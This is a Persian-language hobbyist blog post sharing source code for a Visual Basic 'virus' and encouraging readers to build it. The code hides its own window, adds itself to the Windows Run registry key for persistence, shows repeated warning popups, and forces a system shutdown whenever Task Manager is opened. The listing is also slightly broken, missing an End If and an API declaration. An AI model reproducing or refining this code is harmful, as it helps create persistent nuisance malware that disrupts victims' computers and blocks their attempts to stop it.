سلام ویروس دوستان!!

مشغول ذمه اید این اگه مطالب این وبلاگ رو قاطی نکنین!!

نمیدونم تا حالا چند بار شما را سفارش اکید کردم به مخلوط کردن مطالب.این بار هم یه ویروس مخلوطی واستون اوردم که تا حدودی ایده ی اون متعلق به خواهر محترمه کیمیا خانوم است.

***-----------------------------------------------------------------------------***

دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!(این کار بخصوص نزد تازه کارها از جمله خودم رواج بیشتری داره)

ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه

وسایل لازم: فقط یه تایمر مثل همیشه!

کدها:

Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1

Me.Hide

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
  MsgBox "Dont press  alt+ctrl+del", vbCritical, "This is not a virus !!"

Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub

و اما توضیحات:

خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown  رو اجرا میکنه

نوشته شده  توسط بابک